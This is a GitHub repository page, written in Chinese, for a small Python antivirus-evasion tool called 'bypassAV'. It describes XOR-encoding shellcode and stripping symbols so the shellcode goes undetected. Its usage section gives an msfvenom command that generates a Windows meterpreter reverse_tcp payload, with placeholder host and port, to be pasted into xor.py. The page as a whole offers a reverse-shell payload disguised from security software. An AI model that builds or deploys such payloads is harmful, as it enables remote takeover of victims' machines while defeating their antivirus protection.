b1ank1108 / bypassAV

破产版免杀

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

bypassAV

简介

  • v1.0:破产版免杀,大致思路是将shellcode异或,之后在主程序中解码。关键是清除一些符号信息,采用boy-hack大佬的go-strip(6天)
  • v1.1:1.0的异或改为分块异或(详见代码)(8小时)

使用方法

msf或者cs生成c#格式的shellcode,粘贴到xor.py的buf当中

$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xxxxxxx lport=xxxx -f csharp
$ python3 xor.py

免杀效果

暂时gg

Reference

https://github.com/boy-hack/go-strip

About

破产版免杀


Languages

Language:Python 100.0%